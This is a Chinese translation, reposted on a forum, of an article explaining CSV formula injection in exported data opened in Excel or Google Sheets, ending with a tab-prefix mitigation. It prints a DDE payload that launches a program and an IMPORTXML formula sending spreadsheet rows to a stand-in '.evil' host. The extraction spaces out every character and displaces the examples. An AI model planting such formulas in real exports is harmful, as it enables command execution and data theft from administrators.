搜索

[20954] 2017-12-01_[译]CSV注入：被人低估的巨大风险

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2017-12-01_[译]CSV注入：被人低估的巨大风险 [ 译 ] C S V   注 入 ： 被 人 低 估 的 巨 大 风 险 L e m o n S e c   2 0 1 7 - 1 2 - 0 1 最 近 我 在 记 录 本 地 用 户 近 期 的 电 费 时 发 现 这 个 问 题 ， 有 人 叫 我 把 它 写 出 来 。 在 某 些 方 面 上 看 来 这 是 个 旧 新 闻 ， 但 是 从 其 他 的 角 度 看 。 嗯 ， 我 认 为 很 少 人 意 识 到 这 个 问 题 有 有 多 强 的 破 坏 力 ， 并 且 它 能 造 成 多 大 范 围 的 损 害 。 对 于 将 用 户 的 输 入 结 果 和 允 许 管 理 员 大 批 量 的 把 信 息 导 出 到   C S V   文 件 的 应 用 来 说 ， 都 存 在 着 一 个 有 效 的 攻 击 方 向 。 对 于 每 个 应 用 都 有 效 。 修 订 ： 修 订 ：   值 得 称 赞 的 是 , 这 些 文 章 指 出 了 这 个 问 题   一 位 安 全 专 家   2 0 1 4   年 的 文 章 ， 里 面 探 讨 了 一 部 分 攻 击 方 向 。 另 外 一 篇 。 现 在 我 们 开 始 正 题 吧   — —   设 想 我 们 有 个 记 录 时 间 或 者 票 据 的 应 用 。 用 户 们 可 以 输 入 自 己 的 时 间 （ 或 者 票 据 ） 到 应 用 中 ， 但 是 不 能 查 看 其 他 用 户 这 部 分 的 信 息 。 然 后 网 站 管 理 员 把 这 些 输 入 信 息 导 出 到 一 个   C S V   文 件 ， 用 一 个 电 子 表 格 应 用 打 开 它 。 看 起 来 很 正 常 。 攻 击 方 向   1 我 们 都 知 道   C S V   文 件 是 什 么 。 其 特 征 很 简 单 ， 导 出 来 的   C S V   文 件 看 起 来 像 是 这 样 的 够 简 单 。 里 面 没 有 什 么 危 险 的 东 西 。 连   R F C   也 这 样 描 述 ： C S V   文 件 里 包 含 的 文 本 应 该 不 会 有 任 何 风 险 。 即 使 从 定 义 上 看 ， 它 也 应 该 是 安 全 的 。 等 下 ， 让 我 们 来 试 一 试 将   C S V   文 件 修 改 为 下 面 内 容 在   E x c e l   里 计 算 表 达 式 在   G o o g l e   S h e e t s   里 计 算 公 式 打 开 自   E x c e l （ 左 边 ） 和   G o o g l e   S h e e t s （ 右 边 ） 。 嗯 。 这 很 奇 怪 。 虽 然 单 元 格 的 内 容 在 引 号 内 ， 但 由 于 第 一 个 字 符 是   ， 它 以 一 个 表 达 式 的 形 式 被 处 理 。 实 际 上   — —   至 少 是 在   E x c e l   里   — —   包 括   U s e r I d , B i l l T o D a t e , P r o j e c t N a m e , D e s c r i p t i o n , D u r a t i o n M i n u t e s 1 , 2 0 1 7 - 0 7 - 2 5 , T e s t   P r o j e c t , F l i p p e d   t h e   j i b b e t , 6 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " B o p ,   d o p ,   a n d   g i g l i p " ,   2 4 0 U s e r I d , B i l l T o D a t e , P r o j e c t N a m e , D e s c r i p t i o n , D u r a t i o n M i n u t e s 1 , 2 0 1 7 - 0 7 - 2 5 , T e s t   P r o j e c t , F l i p p e d   t h e   j i b b e t , 6 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " B o p ,   d o p ,   a n d   g i g l i p " ,   2 4 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " = 2 + 5 " ,   2 4 0 = =
， ，   和     这 样 的 符 号 都 会 触 发 这 种 行 为 ， 结 果 管 理 员 发 现 数 据 的 格 式 不 正 确 ， 并 因 此 而 花 大 量 的 时 间 来 查 找 原 因 （ 正 是   E x c e l   的 这 个 现 象 引 起 了 我 的 注 意 力 ） 。 这 很 奇 怪 ， 但 不 是 很 危 险 危 险 ， 不 是 吗 ？ 再 等 一 下 ， 表 达 式 就 是 就 是 可 以 执 行 的 代 码 。 所 以 用 户 可 以 执 行 代 码   — —   虽 然 只 是 表 达 式 代 码   — —   执 行 在 管 理 员 的 机 器 上 ， 而 这 台 机 器 里 有 权 限 接 触 用 户 用 户 数 据 。 如 果 我 们 把   C S V   文 件 改 成 这 样 会 有 什 么 结 果 ？ （ 注 意 最 后 一 行 的   D e s c r i p t i o n   列 ） 如 果 我 们 用   E x c e l   打 开 会 有 什 么 结 果 ？ 计 算 器 会 打 开 ！ 额 滴 神 啊 ！ = - + @ U s e r I d , B i l l T o D a t e , P r o j e c t N a m e , D e s c r i p t i o n , D u r a t i o n M i n u t e s 1 , 2 0 1 7 - 0 7 - 2 5 , T e s t   P r o j e c t , F l i p p e d   t h e   j i b b e t , 6 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " B o p ,   d o p ,   a n d   g i g l i p " ,   2 4 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " = 2 + 5 + c m d | '   / C   c a l c ' ! A 0 " ,   2 4 0
没 错 ， 系 统 的 计 算 器 打 开 了 。 公 平 的 说 ， 在 此 之 前 的 确 有 出 现 过 一 个 警 告 的 确 有 出 现 过 一 个 警 告 。 只 是 这 警 告 是 一 大 块 文 字 ， 没 人 想 要 读 它 。 即 使 有 人 想 读 ， 它 也 会 明 确 建 议 ： 只 有 当 你 信 任 这 个   w o r k b o o k   的 数 据 时 才 点 击 确 定 你 想 知 道 为 什 么 会 这 样 吗 ？ 这 是 一 个 应 用 的 导 出 文 件 ， 是 给 管 理 员 管 理 员 用 的 。 他 们 当 然 信 任 这 些 数 据 ！ 如 果 他 们 的 技 术 很 好 呢 ？ 那 么 更 糟 糕 。 他 们 知 道 知 道   C S V   格 式 只 是 文 本 数 据 ， 因 此 不 可 能 造 成 任 何 伤 害 。 他 们 十 分 确 信 这 一 点 。 就 像 这 样 ， 攻 击 者 有 无 限 制 的 权 力 在 别 人 的 电 脑 上 下 载 键 盘 记 录 ， 安 装 东 西 ， 完 全 远 程 地 执 行 代 码 ， 而 且 这 台 电 脑 如 果 属 于 一 个 经 理 或 者 一 间 公 司 的 管 理 员 的 话 ， 还 可 能 有 权 限 接 触 所 有 用 户 的 数 据 。 我 想 知 道 在 这 台 电 脑 里 面 还 有 别 的 文 件 可 以 窃 取 吗 ？ 攻 击 方 向   2 好 吧 ， 以 上 的 主 要 内 容 挺 简 短 ， 但 是 毕 竟 这 是 个 （ 相 对 ） 有 名 的 漏 洞 。 作 为 一 个 安 全 专 家 ， 可 能 你 已 经 警 告 了 所 有 的 管 理 员 谨 慎 使 用 E x c e l ， 或 者 会 考 虑 使 用   G o o g l e   S h e e t s   来 代 替 它 。 毕 竟 ， S h e e t s   不 会 被 宏 影 响 ， 不 是 吗 ？ 这 完 全 正 确 。 所 以 我 们 收 回 “ 运 行 任 何 东 西 ” 的 野 心 上 ， 并 把 注 意 力 放 在 仅 仅 是 盗 取 数 据 上 。 毕 竟 ， 这 里 的 前 提 是 攻 击 者 是 一 个 普 通 的 用 户 ， 他 只 能 接 触 自 己 输 入 在 系 统 上 的 数 据 。 而 一 个 管 理 员 有 权 力 看 到 每 个 用 户 的 数 据 ， 我 们 有 什 么 办 法 可 以 利 用 这 一 点 吗 ？ 好 好 回 想 一 下 ， 我 们 虽 然 不 能 在   G o o g l e   S h e e t s   里 运 行 宏 ， 但 是 我 们 完 全 可 以 可 以 运 行 表 达 式 。 并 且 表 达 式 不 仅 仅 限 制 于 简 单 的 算 术 。 实 际 上 ， 我 想 问 下 在 公 式 中 是 否 有 可 用 的   G o o g l e   S h e e t s   命 令 能 让 我 们 把 数 据 传 输 到 其 他 地 方 ？ 答 案 是 有 的 ， 有 很 多 的 方 法 可 以 做 到 这 一 点 。 我 们 先 关 注 其 中 的 一 个 方 法 。 I M P O R T X M L ( u r l ,   x p a t h _ q u e r y ) 当 运 行 这 个 命 令 时 ， 它 会 对 上 面 的   u r l   发 出 一 条   H T T P   G E T   请 求 ， 然 后 尝 试 解 析 并 把 返 回 数 据 插 入 到 我 们 的 电 子 表 格 。 你 是 不 是 有 一 点 想 法 了 ？ 如 果 我 们 的   C S V   文 件 有 以 下 内 容 ： 攻 击 者 以 符 号     作 为 单 元 格 的 开 头 ， 然 后 把     的 地 址 指 向 了 一 个 攻 击 者 的 服 务 器 ， 并 把 电 子 表 格 的 数 据 作 为 查 询 字 符 串 附 在 该 地 址 上 。 现 在 攻 击 者 可 以 打 开 他 们 的 服 务 器 日 志 然 后   y o o o o o o 。 终 于 拿 到 了 不 属 于 他 们 的 数 据 。 在   R e q u e s t b . i n   上 自 己 试 一 试 。 有 什 么 踪 迹 会 留 下 来 吗 ？ 没 有 警 告 ， 没 有 弹 框 ， 没 有 任 何 理 由 认 为 有 出 现 过 什 么 问 题 。 攻 击 者 只 是 输 入 了 一 个 格 式 过 的 时 间 ／ 问 题 ／ 其 他 数 据 的 条 目 ， 最 终 管 理 员 当 要 看 导 出 的   C S V   文 件 时 ， 所 有 限 制 访 问 的 数 据 都 会 瞬 间 ， 并 悄 悄 地 传 输 出 去 了 。 等 一 下 ， 我 们 能 做 得 更 过 分 我 们 能 做 得 更 过 分 。 表 达 式 式 是 运 行 在 管 理 员 的 浏 览 器 上 的 ， 这 里 面 有 管 理 员 管 理 员 的 用 户 账 号 和 安 全 信 息 。 并 且   G o o g l e   S h e e t s   并 不 是 只 能 操 作 当 前 电 子 表 格 的 数 据 ， 实 际 上 它 可 以 从   其 他 其 他 电 子 表 格   拿 数 据 ， 只 要 用 户 有 接 触 过 这 些 表 格 就 行 。 而 攻 击 者 只 需 要 知 道 其 他 表 格 的   i d 。 这 些 信 息 通 常 不 是 什 么 秘 密 ， 它 出 现 在 电 子 表 格 的   u r l   上 ， 通 常 会 意 外 地 发 现 电 子 邮 件 上 有 这 些 信 息 ， 或 者 发 布 在 公 司 内 部 的 文 档 上 ， 通 过   G o o g l e   的 安 全 策 略 来 确 保 只 有 授 权 用 户 才 可 以 接 触 这 些 数 据 。 所 以 说 ， 不 只 是 只 是 你 的 导 出 结 果 ／ 问 题 ／ 其 他 数 据 可 以 溜 出 去 。 你 的 管 理 员 有 分 别 接 触 过 客 户 列 表 或 者 工 资 信 息 的 电 子 表 格 ？ 那 么 这 些 信 息 可 能 也 可 以 搞 出 去 ！ 一 切 尽 在 不 言 中 ， 没 有 人 会 知 道 发 生 过 这 些 事 。 一 颗 赛 艇 ！ 当 然 同 样 的 诡 计 也 可 以 完 美 地 运 行 在   E x c e l   上 。 实 际 上 ， E x c e l   在 这 方 面 上 简 直 是 楷 模   警 方 曾 经 利 用 过 这 个 漏 洞 来 追 踪 罪 犯 。 但 事 情 不 一 定 会 这 样 发 展 。 我 展 示 这 些 信 息 给 了 大 量 的 安 全 研 究 员 看 ， 他 们 指 出 了 犯 罪 者 的 各 种 恶 作 剧 。 例 如 犯 罪 者 在 他 们 各 自 的 通 讯 中 植 入 了 信 息 ， 这 些 信 息 是 他 们 服 务 器 的 信 标 。 这 样 一 来 ， 如 果 研 究 员 秘 密 地 查 看 他 们 在 电 子 表 格 上 的 通 讯 信 息 ， 那 么 这 个 信 标 就 会 熄 灭 ， 这 样 犯 罪 者 就 可 以 有 效 地 逃 避 想 要 窃 听 他 们 的 人 。 这 很 不 理 想 。 预 防 所 以 这 一 切 到 底 是 谁 的 错 ？ 当 然 这 不 是   C S V   格 式 的 错 。 格 式 本 身 不 会 自 动 地 执 行 “ 像 一 条 公 式 ” 的 东 西 ， 这 不 是 原 本 就 有 的 用 法 。 这 个   b u g   依 赖 于 常 用 的 电 子 表 格 程 序 ， 是 程 序 在 实 际 地 做 错 事 。 当 然   G o o g l e   S h e e t s   必 须 和   E x c e l   的 功 能 保 持 一 致 ， 而   E x c e l   必 须 支 持 已 存 在 的 数 百 万 个 复 杂 的 电 子 表 格 。 另 外 — —   我 不 会 研 究 这 件 事   — —   但   有 充 分 理 由 相 信   E x c e l   的 行 为 来 自 于 古 代 的   L o t u s   1 - 2 - 3   的 奇 怪 处 理 。 目 前 来 说 让 所 有 的 电 子 表 格 程 序 改 变 这 一 行 为 是 一 大 困 难 。 我 想 应 该 把 注 意 力 转 为 改 变 每 个 人 上 。 我 曾 向   G o o g l e   报 道 他 们 的 电 子 表 格 程 序 有 漏 洞 。 他 们 承 认 了 ， 但 是 声 称 已 经 意 识 到 了 这 个 问 题 。 虽 然 我 确 信 他 们 明 白 这 是 一 个 漏 洞 ， 但 他 们 给 我 一 个 明 显 的 感 觉 ： 他 们 并 没 有 真 正 考 虑 到 在 实 践 中 可 能 会 被 滥 用 的 情 况 。   至 少 在   C S V   导 入 并 即 将 生 成 外 部 请 求 时 ， G o o g l e   S h e e t s   应 该 发 出 一 个 警 告 。 I M P O R T X M L U s e r I d , B i l l T o D a t e , P r o j e c t N a m e , D e s c r i p t i o n , D u r a t i o n M i n u t e s 1 , 2 0 1 7 - 0 7 - 2 5 , T e s t   P r o j e c t , F l i p p e d   t h e   j i b b e t , 6 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " B o p ,   d o p ,   a n d   g i g l i p " ,   2 4 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " = I M P O R T X M L ( C O N C A T ( " " h t t p : / / s o m e - s e r v e r - w i t h - l o g . e v i l ? v = " " ,   C O N C A T E N A T E ( A 2 : E 2 ) ) ,   " " / / a " " ) " , 2 4 0 = I M P O R T X M L
但 是 把 这 件 事 的 责 任 推 在 应 用 程 序 的 开 发 者 上 也 不 是 很 实 际 。 毕 竟 ， 大 部 分 的 开 发 人 员 没 有 理 由 在 一 个 简 单 的 业 务 应 用 里 写 了 导 出 功 能 后 ， 还 会 怀 疑 会 出 现 这 个 问 题 。 实 际 上 ， 即 使 他 们 阅 读 该 死 的   R F C   也 仍 然 仍 然 不 会 有 任 何 线 索 来 发 现 这 个 问 题 。 那 么 你 怎 么 预 防 这 件 事 呢 ？ 好 吧 ， 尽 管   S t a c k O v e r f l o w   和 其 他 的 网 站 提 供 了 丰 富 的 建 议 ， 但 我 发 现 只 有 一 个 （ 不 在 文 档 内 的 ） 方 法 可 以 使 用 在 任 意 的 电 子 表 格 程 序 上 ： 对 于 任 何 以 表 达 式 触 发 字 符   ， ， 或 者     开 头 的 单 元 格 ， 您 应 该 直 接 使 用   t a b   字 符 作 为 前 缀 。 注 意 ， 如 果 单 元 格 里 的 内 容 有 引 号 ， 那 么 这 个 字 符 要 在 引 号 内 内 。 这 很 奇 怪 ， 但 是 起 作 用 了 ， 同 时   t a b   字 符 不 会 显 示 在   E x c e l   和   G o o g l e   S h e e t s   上 。 所 以 这 就 是 我 想 要 的 吗 ？ 不 幸 的 是 ， 这 个 故 事 还 没 完 。 这 个 字 符 虽 然 不 会 显 示 ， 但 是 仍 然 存 在 。 用     来 快 速 测 一 下 字 符 串 的 长 度 就 可 以 确 认 这 一 事 实 。 因 此 ， 在 单 元 格 的 值 只 用 来 显 示 ， 而 不 会 被 程 序 所 使 用 的 前 提 下 ， 这 是 一 个 可 接 受 的 方 案 。 。 更 进 一 步 ， 有 趣 的 是 这 个 字 符 会 造 成 奇 怪 的 不 一 致 。 C S V   格 式 用 在 应 用 程 序 之 间 应 用 程 序 之 间 的 信 息 交 流 上 。 这 意 味 着 从 一 个 应 用 程 序 导 出 的 转 义 单 元 格 的 数 据 将 会 被 另 一 个 应 用 程 序 导 入 并 作 为 数 据 的 一 部 分 。 最 终 我 们 得 出 一 个 糟 糕 的 结 论 ， 当 生 成   C S V   导 出 文 件 时 ， 你 必 须 知 道 这 导 出 文 件 是 用 来 做 什 么 的 必 须 知 道 这 导 出 文 件 是 用 来 做 什 么 的 。 如 果 是 为 了 在 电 子 表 格 程 序 中 计 算 时 的 能 够 看 到 这 些 数 据 ， 则 应 使 用   t a b   来 转 义 。 实 际 上 这 更 重 要 ， 因 为 您 不 希 望 在 导 出 到 电 子 表 格 时 字 符 串 是 “ - 2   +   3 ” 时 出 现 的 结 果 为 “ 1 ” ， 这 让 人 感 觉 就 像 是 用 编 程 语 言 解 析 的 结 果 。 如 果 它 被 用 作 系 统 间 的 数 据 交 流 ， 那 么 不 要 转 义 任 何 东 西 。 如 果 您 不 知 道 会 发 生 什 么 事 情 ， 或 者 是 要 在 电 子 表 格 应 用 程 序 中 使 用 ， 或 者 随 后 这 个 电 子 表 格 将 被 用 作 软 件 的 导 入 源 ， 放 弃 吧 ， 只 能 祈 祷 不 会 发 生 什 么 事 情 了 （ 或 者 ， 总 是 总 是 在 使 用   E x c e l   时 断 开 网 络 连 接 ， 并 在 工 作 时 遵 循 所 有 的 安 全 提 示 ） （ 修 订 ： 这 并 非   1 0 0 ％   安 全 ， 因 为 攻 击 者 仍 然 可 以 使 用 宏 ， 让 自 己 的 二 进 制 文 件 来 覆 盖 已 知 的 文 件 。 去 他 的 。 ） 。 这 是 一 场 恶 梦 ， 人 们 可 以 利 用 这 个 漏 洞 做 些 邪 恶 的 事 情 ， 并 因 此 而 造 成 损 失 ， 而 且 还 没 有 明 确 的 解 决 方 案 。 这 个 漏 洞 应 该 要 让 更 多 更 多 的 人 知 道 。 原 文 发 布 时 间 为 ： 2 0 1 7 年 1 0 月 2 2 日       转 载 自 ： h t t p s : / / y q . a l i y u n . c o m / a r t i c l e s / 2 2 5 8 4 7 本 文 来 自 云 栖 社 区 合 作 伙 伴 掘 金 ， 了 解 相 关 信 息 可 以 关 注 掘 金 网 站 。 = - + @ U s e r I d , B i l l T o D a t e , P r o j e c t N a m e , D e s c r i p t i o n , D u r a t i o n M i n u t e s 1 , 2 0 1 7 - 0 7 - 2 5 , T e s t   P r o j e c t , F l i p p e d   t h e   j i b b e t , 6 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , " B o p ,   d o p ,   a n d   g i g l i p " ,   2 4 0 2 , 2 0 1 7 - 0 7 - 2 5 , I m p o r t a n t   C l i e n t , "         = 2 + 5 " ,   2 4 0 = L E N ( D 4 )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理